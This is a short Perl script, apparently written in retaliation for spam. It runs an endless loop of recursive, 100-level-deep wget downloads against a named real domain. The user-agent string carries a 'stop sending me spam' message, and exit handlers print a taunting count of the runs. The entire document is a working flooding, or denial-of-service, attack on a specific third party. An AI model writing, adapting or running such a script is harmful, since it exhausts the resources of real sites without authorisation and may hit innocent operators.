#!/usr/bin/perl -w $SIG{HUP} = \&end_it_all; $SIG{TERM} = \&end_it_all; $SIG{INT} = \&end_it_all; $SIG{QUIT} = \&end_it_all; $count = 0; $host = "www.BIOPROTEC.COM.BR"; while (1) { $exit = system("wget -r -l100 -U \"Stop sending me SPAM! This is the only way to make you undestand.\" http://$host"); $count ++; if ($exit) { &end_it_all; } } sub end_it_all() { print "\n did some funny things some $count times... naughty, naughty\n"; exit(0); }